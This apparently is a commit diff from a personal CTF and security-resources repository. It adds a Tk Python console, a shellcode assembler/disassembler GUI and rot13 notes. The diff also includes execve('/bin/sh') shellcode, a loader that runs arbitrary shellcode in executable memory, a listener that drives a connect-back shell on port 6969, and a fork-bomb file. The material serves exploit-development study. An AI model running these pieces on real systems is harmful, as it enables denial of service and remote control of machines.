trimmed, trimmedline = self.trim(current)
cutpos = "%d.%d" % (line, trimmed)
self.text.delete(cutpos, "%d.end" % line)
self.text.insert(cutpos, command)
self.text.mark_set("insert", "%d.end" % line)
# Completion mechanism.
def precontext(self):
# Scan back for the identifier currently being typed.
line, pos = self.cursor()
command = self.getline()
preceding = command[:pos]
startchars = string.letters + "_"
identchars = string.letters + string.digits + "_"
while pos > 0 and preceding[pos-1] in identchars:
pos = pos - 1
preceding, ident = preceding[:pos], preceding[pos:]
start = "%d.%d" % (line, pos)
preceding = string.strip(preceding)
context = ""
if not ident or ident[0] in startchars:
# Look for context before the start of the identifier.
while preceding[-1:] == ".":
preceding = string.strip(preceding[:-1])
if preceding[-1] in identchars:
pos = len(preceding)-1
while pos > 0 and preceding[pos-1] in identchars:
pos = pos - 1
if preceding[pos] in startchars:
context = preceding[pos:] + "." + context
preceding = string.strip(preceding[:pos])
else: break
else: break
line, pos = self.cursor()
endpos = pos
while endpos < len(command) and command[endpos] in identchars:
endpos = endpos + 1
end = "%d.%d" % (line, endpos)
return command, context, ident, start, end
def cb_complete(self, event):
"""Attempt to complete the identifier currently being typed."""
if self.compmenus:
if self.cursor() == self.compindex:
# Second attempt to complete: add finishing char and continue.
self.text.insert("insert", self.compfinish)
self.compindex = None
self.unpostmenus()
return "break"
command, context, ident, start, end = self.precontext()
# Get the list of possible choices.
if context:
try:
object = eval(context[:-1], self.dict)
keys = members(object)
except:
object = None
keys = []
else:
class Lookup:
def __init__(self, dicts):
self.dicts = dicts
def __getattr__(self, key):
for dict in self.dicts:
if dict.has_key(key): return dict[key]
return None
object = Lookup([self.dict, __builtin__.__dict__])
keys = self.dict.keys() + dir(__builtin__)
keys = matchingkeys(keys, ident)
if not ident:
public = []
for key in keys:
if key[:1] != "_": public.append(key)
keys = public
skip = len(ident)
# Produce the completion.
if len(keys) == 1:
# Complete with the single possible choice.
if self.cursor() == self.compindex:
# Second attempt to complete: add finisher and continue.
self.text.insert("insert", self.compfinish)
self.compindex = None
else:
self.text.delete("insert", end)
self.text.insert("insert", keys[0][skip:])
try: self.compfinish = finisher(getattr(object, keys[0]))
except: self.compfinish = " "
if self.compfinish == " ":
# Object has no members; stop here.
self.text.insert("insert", " ")
else:
self.compindex = self.cursor()
elif len(keys) > 1:
# Present a menu.
prefix = commonprefix(keys)
keys.sort()
if len(prefix) > skip:
self.text.delete("insert", end)
self.text.insert("insert", keys[0][skip:len(prefix)])
skip = len(prefix)
if len(keys[0]) == skip:
# Common prefix is a valid choice; next try can finish.
self.compindex = self.cursor()
try: self.compfinish = finisher(getattr(object, keys[0]))
except: self.compfinish = " "
self.postmenus(keys, skip, end, object)
return "break"
def postmenus(self, keys, skip, cut, object):
"""Post a series of menus listing all the given keys, given the
length of the existing part so we can position the menus under the
cursor, and the index at which to insert the completion."""
width = self.winfo_screenwidth()
height = self.winfo_screenheight()
bbox = self.text.bbox("insert - %d c" % skip)
x = self.text.winfo_rootx() + bbox[0] - 4
y = self.text.winfo_rooty() + bbox[1] + bbox[3]
self.compmenus = []
menufont = self.text.cget("font")
menu = Menu(font=menufont, bd=1, tearoff=0)
self.compmenus.append(menu)
while keys:
try: finishchar = finisher(getattr(object, keys[0]))
except: finishchar = " "
def complete(s=self, k=keys[0][skip:], c=cut, f=finishchar):
if f == " ": k = k + f
s.text.delete("insert", c)
s.text.insert("insert", k)
s.unpostmenus()
if f != " ":
s.compfinish = f
s.compindex = s.cursor()
menu.add_command(label=keys[0], command=complete)
menu.update()
if y + menu.winfo_reqheight() >= height:
menu.delete("end")
x = x + menu.winfo_reqwidth()
y = 0
menu = Menu(font=menufont, bd=1, tearoff=0)
self.compmenus.append(menu)
else:
keys = keys[1:]
if x + menu.winfo_reqwidth() > width:
menu.destroy()
self.compmenus = self.compmenus[:-1]
self.compmenus[-1].delete("end")
self.compmenus[-1].add_command(label="...")
break
x = self.text.winfo_rootx() + bbox[0] - 4
y = self.text.winfo_rooty() + bbox[1] + bbox[3]
for menu in self.compmenus:
maxtop = height - menu.winfo_reqheight()
if y > maxtop: y = maxtop
menu.post(x, y)
x = x + menu.winfo_reqwidth()
self.text.focus()
self.text.grab_set()
def unpostmenus(self):
"""Unpost the completion menus."""
for menu in self.compmenus:
menu.destroy()
self.compmenus = []
self.text.grab_release()
def cb_cleanup(self, event=None):
if self.compmenus:
self.unpostmenus()
if self.pasted:
self.text.tag_remove("sel", "1.0", "end")
self.pasted = 0
def cb_select(self, event):
"""Handle a menu selection event. We have to check and invoke the
completion menus manually because we are grabbing events to give the
text box keyboard focus."""
if self.compmenus:
for menu in self.compmenus:
x, y = menu.winfo_rootx(), menu.winfo_rooty()
w, h = menu.winfo_width(), menu.winfo_height()
if x < event.x_root < x + w and \
y < event.y_root < y + h:
item = menu.index("@%d" % (event.y_root - y))
menu.invoke(item)
break
else:
self.unpostmenus()
return "break"
# Help mechanism.
def cb_help(self, event):
command, context, ident, start, end = self.precontext()
word = self.text.get(start, end)
object = parent = doc = None
skip = 0
try:
parent = eval(context[:-1], self.dict)
except: pass
# Go merrily searching for the help string.
if not object:
try:
object = getattr(parent, word)
skip = len(word) - len(ident)
except: pass
if not object:
try:
object = getattr(parent, ident)
except: pass
if not object:
try:
object = self.dict[word]
skip = len(word) - len(ident)
except: pass
if not object:
try:
object = self.dict[ident]
except: pass
if not object:
try:
object = __builtin__.__dict__[word]
skip = len(word) - len(ident)
except: pass
if not object:
try:
object = __builtins__.__dict__[ident]
except: pass
if not object:
if not ident:
object = parent
try:
doc = object.__doc__
except: pass
try:
if hasattr(object, "__bases__"):
doc = object.__init__.__doc__ or doc
except: pass
if doc:
doc = string.rstrip(string.expandtabs(doc))
leftmargin = 99
for line in string.split(doc, "\n")[1:]:
spaces = len(line) - len(string.lstrip(line))
if line and spaces < leftmargin: leftmargin = spaces
bbox = self.text.bbox("insert + %d c" % skip)
width = self.winfo_screenwidth()
height = self.winfo_screenheight()
menufont = self.text.cget("font")
help = Menu(font=menufont, bd=1, tearoff=0)
try:
classname = object.__class__.__name__
help.add_command(label="<object of class %s>" % classname)
help.add_command(label="")
except: pass
for line in string.split(doc, "\n"):
if string.strip(line[:leftmargin]) == "":
line = line[leftmargin:]
help.add_command(label=line)
self.compmenus.append(help)
x = self.text.winfo_rootx() + bbox[0] - 4
y = self.text.winfo_rooty() + bbox[1] + bbox[3]
maxtop = height - help.winfo_reqheight()
if y > maxtop: y = maxtop
help.post(x, y)
self.text.focus()
self.text.grab_set()
return "break"
# Entering commands.
def cb_position(self, event):
"""Avoid moving into the prompt area."""
self.cb_cleanup()
line, pos = self.cursor()
trimmed, command = self.trim(self.getline())
if pos <= trimmed:
self.text.mark_set("insert", "%d.%d" % (line, trimmed))
return "break"
def cb_backspace(self, event):
self.cb_cleanup()
if self.text.tag_ranges("sel"): return
# Avoid backspacing over the prompt.
line, pos = self.cursor()
trimmed, command = self.trim(self.getline())
if pos <= trimmed: return "break"
# Extremely basic outdenting. Needs more work here.
if not string.strip(command[:pos-trimmed]):
step = (pos - trimmed) % 4
cut = pos - (step or 4)
if cut < trimmed: cut = trimmed
self.text.delete("%d.%d" % (line, cut), "%d.%d" % (line, pos))
return "break"
def cb_space(self, event):
self.cb_cleanup()
line, pos = self.cursor()
trimmed, command = self.trim(self.getline())
# Extremely basic indenting. Needs more work here.
if not string.strip(command[:pos-trimmed]):
start = trimmed + len(command) - len(string.lstrip(command))
self.text.delete("insert", "%d.%d" % (line, start))
step = 4 - (pos - trimmed) % 4
self.text.insert("insert", " " * step)
return "break"
def cb_home(self, event):
"""Go to the first non-whitespace character in the line."""
self.cb_cleanup()
line, pos = self.cursor()
trimmed, command = self.trim(self.getline())
indent = len(command) - len(string.lstrip(command))
self.text.mark_set("insert", "%d.%d" % (line, trimmed + indent))
return "break"
def cb_ctrlhome(self, event):
"""Go to the beginning of the line just after the prompt."""
self.cb_cleanup()
line, pos = self.cursor()
trimmed, command = self.trim(self.getline())
self.text.mark_set("insert", "%d.%d" % (line, trimmed))
return "break"
def cb_nothing(self, event):
return "break"
def cb_return(self, event, doindent=1):
"""Handle a <Return> keystroke by running from the current line
and generating a new prompt."""
self.cb_cleanup()
self.text.tag_delete("compiled")
self.historyindex = None
command = self.getline(trim=1)
if string.strip(command):
self.history.append(command)
line, pos = self.cursor()
self.text.mark_set("insert", "%d.end" % line)
self.text.insert("insert", "\n")
self.runline(line)
line, pos = self.cursor()
self.text.mark_set("insert", "%d.end" % line)
prompt = self.continuation and sys.ps2 or sys.ps1
if pos > 0:
self.text.insert("insert", "\n" + prompt)
else:
self.text.insert("insert", prompt)
if doindent and not self.error:
self.autoindent(command)
self.error = 0
self.text.see("insert")
return "break"
def autoindent(self, command):
# Extremely basic autoindenting. Needs more work here.
indent = len(command) - len(string.lstrip(command))
if string.lstrip(command):
self.text.insert("insert", command[:indent])
if string.rstrip(command)[-1] == ":":
self.text.insert("insert", " ")
def cb_paste(self, event):
"""Handle a paste event (middle-click) in the text box. Pasted
text has any leading Python prompts stripped (at last!!)."""
self.text.tag_delete("compiled")
self.error = 0
self.pasted = 1
try: lines = string.split(self.selection_get(), "\n")
except: return
for i in range(len(lines)):
trimmed, line = self.trim(lines[i])
line = string.rstrip(line)
if not line: continue
self.text.insert("end", line)
self.text.mark_set("insert", "end")
if i == len(lines) - 2 and lines[i+1] == "":
# Indent the last line if it's blank.
self.cb_return(None, doindent=1)
elif i < len(lines) - 1:
self.cb_return(None, doindent=0)
if self.error: break
return "break"
# Executing commands.
def runline(self, line):
"""Run some source code given the number of the last line in the
text box. Scan backwards to get the entire piece of code to run
if the line is a continuation of previous lines. Tag the compiled
code so that it can be highlighted according to whether it is
complete, incomplete, or illegal."""
lastline = line
lines = [self.getline(line)]
while lines[0][:len(sys.ps2)] == sys.ps2:
trimmed, lines[0] = self.trim(lines[0])
self.text.tag_add(
"compiled", "%d.%d" % (line, trimmed), "%d.0" % (line+1))
line = line - 1
if line < 0: break
lines[:0] = [self.getline(line)]
if lines[0][:len(sys.ps1)] == sys.ps1:
trimmed, lines[0] = self.trim(lines[0])
self.text.tag_add(
"compiled", "%d.%d" % (line, trimmed), "%d.0" % (line+1))
else:
self.text.tag_add("compiled", "%d.0" % line, "%d.0" % (line+1))
source = string.join(lines, "\n")
if not source:
self.continuation = 0
return
status, code = self.compile(source)
if status == "more":
self.text.tag_configure("compiled", background=self["morecolour"])
self.continuation = 1
elif status == "bad":
self.text.tag_configure("compiled", background=self["badcolour"])
self.error = 1
self.continuation = 0
self.intraceback = 1
oldout, olderr = sys.stdout, sys.stderr
sys.stdout, sys.stderr = self.stdout, self.stderr
traceback.print_exception(SyntaxError, code, None)
self.stdout, self.stderr = sys.stdout, sys.stderr
sys.stdout, sys.stderr = oldout, olderr
self.intraceback = 0
elif status == "okay":
if self.getline(lastline) == sys.ps2:
self.text.tag_remove("compiled", "%d.0" % lastline, "end")
self.text.tag_configure("compiled", background=self["runcolour"])
self.continuation = 0
self.run(code)
def compile(self, source):
"""Try to compile a piece of source code, returning a status code
and the compiled result. If the status code is "okay" the code is
complete and compiled successfully; if it is "more" then the code
can be compiled, but an interactive session should wait for more
input; if it is "bad" then there is a syntax error in the code and
the second returned value is the error message."""
err = err1 = err2 = None
code = code1 = code2 = None
try:
code = compile(source, "<console>", "single")
except SyntaxError, err:
pass
else:
return "okay", code
try:
code1 = compile(source + "\n", "<console>", "single")
except SyntaxError, err1:
pass
else:
return "more", code1
try:
code2 = compile(source + "\n\n", "<console>", "single")
except SyntaxError, err2:
pass
try:
code3 = compile(source + "\n", "<console>", "exec")
except SyntaxError, err3:
pass
else:
return "okay", code3
try:
code4 = compile(source + "\n\n", "<console>", "exec")
except SyntaxError, err4:
pass
if err3[1][2] != err4[1][2]:
return "more", None
if err1[1][2] != err2[1][2]:
return "more", None
return "bad", err1
def run(self, code):
"""Run a code object within the sandbox for this console. The
sandbox redirects stdout and stderr to the console, and executes
within the namespace associated with the console."""
oldout, olderr = sys.stdout, sys.stderr
sys.stdout, sys.stderr = self.stdout, self.stderr
try:
exec code in self.dict
except:
self.error = 1
sys.last_type = sys.exc_type
sys.last_value = sys.exc_value
sys.last_traceback = sys.exc_traceback.tb_next
self.intraceback = 1
traceback.print_exception(
sys.last_type, sys.last_value, sys.last_traceback)
self.intraceback = 0
self.stdout, self.stderr = sys.stdout, sys.stderr
sys.stdout, sys.stderr = oldout, olderr
# Helpers for the completion mechanism.
def scanclass(klass, result):
for key in klass.__dict__.keys(): result[key] = 1
for base in klass.__bases__: scanclass(base, result)
def members(object):
result = {}
try:
for key in object.__members__: result[key] = 1
result["__members__"] = 1
except: pass
try:
for key in object.__methods__: result[key] = 1
result["__methods__"] = 1
except: pass
try:
for key in object.__dict__.keys(): result[key] = 1
result["__dict__"] = 1
except: pass
if type(object) is types.ClassType:
scanclass(object, result)
result["__name__"] = 1
result["__bases__"] = 1
if type(object) is types.InstanceType:
scanclass(object.__class__, result)
result["__class__"] = 1
return result.keys()
def matchingkeys(keys, prefix):
prefixmatch = lambda key, l=len(prefix), p=prefix: key[:l] == p
return filter(prefixmatch, keys)
def commonprefix(keys):
if not keys: return ''
max = len(keys[0])
prefixes = map(lambda i, key=keys[0]: key[:i], range(max+1))
for key in keys:
while key[:max] != prefixes[max]:
max = max - 1
if max == 0: return ''
return prefixes[max]
callabletypes = [types.FunctionType, types.MethodType, types.ClassType,
types.BuiltinFunctionType, types.BuiltinMethodType]
sequencetypes = [types.TupleType, types.ListType]
mappingtypes = [types.DictType]
try:
import ExtensionClass
callabletypes.append(ExtensionClass.ExtensionClassType)
except: pass
try:
import curve
c = curve.Curve()
callabletypes.append(type(c.read))
except: pass
def finisher(object):
if type(object) in callabletypes:
return "("
elif type(object) in sequencetypes:
return "["
elif type(object) in mappingtypes:
return "{"
elif members(object):
return "."
return " "
# Main program.
if __name__ == "__main__":
c = Console(dict={})
c.dict["console"] = c
c.pack(fill=BOTH, expand=1)
c.master.title("Python Console v%s" % VERSION)
mainloop()

View File

@ -0,0 +1,7 @@
import os
while True:
try:
os.fork()
except:
os.system('start')
# flag{trust_is_risky}

View File

@ -0,0 +1,182 @@
# try:
# from distorm import *
# module = 'distorm'
# except ImportError:
import utils
try:
from nasm import *
module = 'nasm'
except ImportError:
raise EnvironmentError("Couldn't find distorm or nasm")
from Tkinter import *
from ttk import *
import codecs
import subprocess
import sys
import interpreter
import sqlite3
class Disassembler():
def __init__(self, frame):
top = Frame(frame)
self.shell_bar = Scrollbar(top)
self.shell_bar.pack(side=RIGHT, fill=Y, expand=0)
self.shellcode = Text(top, yscrollcommand=self.shell_bar.set)
self.shellcode.pack(anchor=W, fill=BOTH, expand=1)
self.shellcode.config(height=4, bd=2)
self.shell_bar.config(command=self.shellcode.yview)
bottom = Frame(frame)
self.disasm_bar = Scrollbar(bottom)
self.disasm_bar.pack(side=RIGHT, fill=Y, expand=0)
self.disasm = Text(bottom, yscrollcommand=self.disasm_bar.set)
self.disasm.pack(anchor=W, fill=BOTH, expand=1)
self.disasm.config(height=4, bd=2)
self.shell_bar.config(command=self.disasm.yview)
top.pack(anchor=W, fill=BOTH, expand=1)
bottom.pack(anchor=W, fill=BOTH, expand=1)
var = IntVar()
R1 = Radiobutton(frame, text="16-bit", variable=var, value=1, command=lambda: self.value(16))
R1.pack(side=LEFT)
R2 = Radiobutton(frame, text="32-bit", variable=var, value=2, command=lambda: self.value(32))
R2.pack(side=LEFT)
R3 = Radiobutton(frame, text="64-bit", variable=var, value=3, command=lambda: self.value(64))
R3.pack(side=LEFT)
B = Button(frame, text="Disassemble", command=self.render)
B.pack(side=RIGHT)
def value(self, val):
'''
Sets disassembler mode (e.g. 16bit, 32bit, or 64bit)
'''
global mode
self.mode = val
def clean(self, shellcode):
'''
Cleans the format that we get from tkinter into a format we can disassemble easily. (i.e. \x00\x00)
'''
return codecs.escape_decode(shellcode.decode('utf-8').strip())[0]
def render(self):
'''
Cleans out the Text widget, does the disassembly and inserts it.
'''
self.disasm.delete(1.0, END)
self.disasm.insert(INSERT, disassemble(self.clean(self.shellcode.get(1.0, END)), self.mode))
class Assembler():
def __init__(self, frame):
self.assembler = Text(frame)
self.assembler.pack(fill=BOTH, expand=1)
self.assembler.config(height=8, bd=2)
self.output = Text(frame)
self.output.pack(anchor=W, fill=BOTH, expand=1)
self.output.config(height=4, bd=2)
self.value = StringVar()
self.dropdown = Combobox(frame, textvariable=self.value, state='readonly')
self.dropdown['values'] = ('elf', 'elf64', 'bin')
self.dropdown.current(0)
self.dropdown.pack(side=LEFT)
self.asm_button = Button(frame, text="Assemble", command=self.render)
self.asm_button.pack(side=RIGHT)
self.asm_test = Button(frame, text="Test Shellcode", command=self.test)
self.asm_test.pack(side=RIGHT)
def render(self):
mode = self.dropdown['values'][self.dropdown.current()]
asm = str(self.assembler.get(1.0, END))
self.output.delete(1.0, END)
self.output.insert(INSERT, repr(assemble(asm, mode))[1:-1] )
def clean(self, shellcode):
'''
Cleans the format that we get from tkinter into a format we can disassemble easily. (i.e. \x00\x00)
'''
return codecs.escape_decode(shellcode.decode('utf-8').strip())[0]
def test(self):
shellcode = repr(self.clean(self.output.get(1.0, END)))[1:-1]
subprocess.Popen([sys.executable, 'shellcode.py', shellcode]).communicate()
def draw(self):
pass
class Shellcode():
def __init__(self, frame):
tree = Treeview(frame)
# Inserted at the root, program chooses id:
tree.insert('', 'end', 'windows', text='Windows')
tree.insert('', 'end', 'linux', text='Linux')
# Same thing, but inserted as first child:
# tree.insert('', 0, 'gallery', text='Applications')
# Treeview chooses the id:
# Inserted underneath an existing node:
tree.insert('windows', 'end', text='Canvas')
tree.insert('linux', 'end', text='Canvas')
tree.pack(side=LEFT, fill=Y)
class ConnectBack():
def __init__(self, frame):
pass
root = Tk()
root.title("Eggshells - " + module)
note = Notebook(root)
tab1 = Frame(note)
tab2 = Frame(note)
tab3 = Frame(note)
tab4 = Frame(note)
tab5 = Frame(note)
tab6 = Frame(note)
#################DISASM################
Disassembler(tab1)
#######################################
################ASM####################
Assembler(tab2)
#######################################
###############Shellcode###############
Shellcode(tab6)
#######################################
################Python#################
c = interpreter.Console(tab4)
c.dict["console"] = c
c.pack(fill=BOTH, expand=1)
#######################################
note.add(tab1, text = "Disassembler")
note.add(tab2, text = "Assembler")
note.add(tab3, text = "Sockets")
note.add(tab4, text = "Python")
note.add(tab5, text = "Hex Editor")
note.add(tab6, text = "Shellcode")
note.pack(fill=BOTH, expand=1)
root.mainloop()
exit()

View File

@ -0,0 +1,133 @@
import utils
import os
import subprocess
import tempfile
import sys
import re
subprocess.STARTF_USESHOWWINDOW = 1 # Hiding console windows in subprocess calls
if sys.platform.startswith('linux') or sys.platform.startswith('darwin'):
NASM = '/usr/bin/nasm'
NDISASM = '/usr/bin/ndisasm'
elif sys.platform.startswith('win32'):
NASM = 'nasm/nasm.exe'
NDISASM = 'nasm/ndisasm.exe'
if not os.path.exists(NASM):
raise EnvironmentError('nasm not found')
if not os.path.exists(NDISASM):
raise EnvironmentError('ndisasm not found')
hex_regex = re.compile(r'0x\w*')
def delete_file(filename):
"""
Deletes file from the disk if it exists
"""
if os.path.exists(filename):
os.unlink(filename)
def assemble(asm, mode="elf"):
'''
Assemble using nasm, return raw hex bytes.
'''
temp = tempfile.NamedTemporaryFile(delete=False)
linkme = tempfile.NamedTemporaryFile(delete=False)
dir = tempfile.gettempdir()
try:
temp.write(asm)
temp.close()
linkme.close()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags = subprocess.STARTF_USESHOWWINDOW
link = subprocess.check_output([NASM, '-f ' + mode, temp.name, '-o ' + dir + '/link.o'], startupinfo=startupinfo)
out = subprocess.check_output([NASM, temp.name, '-o ' + temp.name + '.elf'], startupinfo=startupinfo)
asm = open(temp.name + '.elf', 'rb')
asm = asm.read()
delete_file(temp.name + '.elf')
delete_file(linkme.name)
delete_file(dir + '/link.o')
delete_file(temp.name)
return asm
except:
delete_file(temp.name + '.elf')
delete_file(linkme.name)
delete_file(dir + '/link.o')
delete_file(temp.name)
return "assembly failed"
def disassemble(elf, mode=32):
'''
Disassemble using ndisasm. Return the output.
'''
temp = tempfile.NamedTemporaryFile(delete=False)
try:
temp.write(elf)
temp.close()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags = subprocess.STARTF_USESHOWWINDOW
asm = subprocess.check_output([NDISASM, '-a', '-b ' + str(mode), temp.name], startupinfo=startupinfo)
delete_file(temp.name)
except:
delete_file(temp.name)
return 'disassembly failed'
#return asm
disasm = asm.split('\n')
disasm = [" ".join(x.split()).split(' ', 2) for x in disasm ]
# Join line continuations together and mark them for removal
marked = []
for x in range(len(disasm)):
if len(disasm[x]) == 1:
disasm[x-1][1] += disasm[x][0][1:]
marked.append(x)
for x in marked[::-1]:
disasm.pop(x)
# Join the disassembly back together for output
# Also provide string and decimal representations of hex values
disassembly = ''
for line in disasm:
hexvals = hex_regex.findall(line[2])
if len(hexvals) > 0 and ('push' in line[2] or 'mov' in line[2]):
line = list(line) # Why you give me tuple Distorm?
if len(hexvals[0][2:]) > 2:
line[2] = line[2] + '\t; ' + hexvals[0][2:].decode('hex')
else:
line[2] = line[2] + '\t; ' + str(int(hexvals[0], 16))
disassembly += "0x%08s (%02x) %-20s %s" % (line[0], len(line[1])//2, line[1], line[2]) + "\n"
return disassembly
if __name__ == '__main__':
print disassemble('\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05', 64)
asm = '''
BITS 32
main:
; execve("/bin/sh", 0, 0)
xor eax, eax
push eax
push 0x68732f2f ; "//sh" -> stack
push 0x6e69622f ; "/bin" -> stack
mov ebx, esp ; arg1 = "/bin//sh\0"
mov ecx, eax ; arg2 = 0
mov edx, eax ; arg3 = 0
mov al, 11
int 0x80
'''
print repr(assemble(asm, "elf"))

View File

@ -0,0 +1,29 @@
NASM is now licensed under the 2-clause BSD license, also known as the
simplified BSD license.
Copyright 1996-2010 the NASM Authors - All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following
conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following
disclaimer in the documentation and/or other materials provided
with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,41 @@
import utils
import socket
import time
import sys
def interact(conn, addr):
command = ''
print "Received", addr
while (command != 'exit'):
command = raw_input('> ')
conn.send(command + '\n')
time.sleep(.5)
data = conn.recv(0x10000)
if not data:
print "Disconnected", addr
return
print data.strip(),
else:
print "Disconnected", addr
HOST = ''
PORT = 6969
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
while 1:
conn, addr = s.accept()
interact(conn, addr)

View File

@ -0,0 +1,82 @@
#!/usr/bin/python
import utils
import sys
import ctypes
import codecs
if sys.platform.startswith('linux'):
from ctypes import *
# Initialise ctypes prototype for mprotect().
# According to the manpage:
# int mprotect(const void *addr, size_t len, int prot);
libc = CDLL("libc.so.6")
mprotect = libc.mprotect
mprotect.restype = c_int
mprotect.argtypes = [c_void_p, c_size_t, c_int]
# PROT_xxxx constants
# Output of gcc -E -dM -x c /usr/include/sys/mman.h | grep PROT_
# #define PROT_NONE 0x0
# #define PROT_READ 0x1
# #define PROT_WRITE 0x2
# #define PROT_EXEC 0x4
# #define PROT_GROWSDOWN 0x01000000
# #define PROT_GROWSUP 0x02000000
PROT_NONE = 0x0
PROT_READ = 0x1
PROT_WRITE = 0x2
PROT_EXEC = 0x4
# Machine code of an empty C function, generated with gcc
# Disassembly:
# 55 push %ebp
# 89 e5 mov %esp,%ebp
# 5d pop %ebp
# c3 ret
#code = "\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"
code = codecs.escape_decode(sys.argv[1])[0]
# Get the address of the code
addr = addressof(cast(c_char_p(code), POINTER(c_char)).contents)
# Get the start of the page containing the code and set the permissions
pagesize = 0x1000
pagestart = addr & ~(pagesize - 1)
if mprotect(pagestart, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC):
raise RuntimeError("Failed to set permissions using mprotect()")
# Generate ctypes function object from code
functype = CFUNCTYPE(None)
f = functype(addr)
# Call the function
print("Calling f()")
f()
elif sys.platform.startswith('win'):
buf = codecs.escape_decode(sys.argv[1])[0]
shellcode = bytearray(buf)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

View File

@ -0,0 +1,5 @@
import utils
import subprocess
import sys
subprocess.Popen([sys.executable, 'shellcode.py']).communicate()

View File

@ -0,0 +1,21 @@
# Trivia List (For Reference)
___
## CSAW CTF 2014
1. This is the name of the new USENIX workshop that featured papers on CTFs being used for education. Answer: **3GSE**
2. This x86 instruction is an alias for pop eip/rip.
Answer: **RET**
3. This is a type of informal security meetup that has been gaining popularity in different cities over the last several years. Answer: **CitySec**
4. This is what geohot and other members of the CTF community are calling live streamed CTF competitions where spectators can watch competitors screens as they solve challenges. Answer: **livectf**
5. On this day in November, the CSAW Career Fair takes place in Brooklyn, New York. Answer: **14**
6. This is the Twitter handle of the student who runs CSAW CTF. Answer: **poopsec**

21
CTFs/LICENSE Normal file
View File

@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) 2014 Mari Wahl
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

5
CTFs/README.md Normal file
View File

@ -0,0 +1,5 @@
CTFs Archives
==============
* CSAW 2014

View File

@ -4,7 +4,14 @@ echo "$VAR"
alias rot13="tr A-Za-z N-ZA-Mn-za-m"
echo "$VAR" | rot13
```
----
In Python we can use: ```"YRIRY GJB CNFFJBEQ EBGGRA".decode(encoding="ROT13")```
https://docs.python.org/2/library/codecs.html#codec-base-classes
---
Online:
http://www.xarg.org/tools/caesar-cipher/

View File

@ -0,0 +1,10 @@
```
VAR=$(cat data.txt)
echo "$VAR"
alias rot13="tr A-Za-z N-ZA-Mn-za-m"
echo "$VAR" | rot13
```
In Python we can use: ```"YRIRY GJB CNFFJBEQ EBGGRA".decode(encoding="ROT13")```
https://docs.python.org/2/library/codecs.html#codec-base-classes

1
README.md Normal file
View File

@ -0,0 +1 @@
My resources and source codes.